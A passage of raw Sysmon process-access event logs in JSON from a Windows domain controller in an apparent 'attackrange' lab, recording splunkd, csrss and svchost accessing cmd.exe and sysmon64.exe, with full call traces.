Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.027","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3600","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-0010C1530500}","TargetProcessId":"4176","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3660,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.027\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-0010C1530500}\r\nTargetProcessId: 4176\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.027","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-0010C1530500}","TargetProcessId":"4176","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3661,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3662,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3663,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3664,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3665,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3666,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3667,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 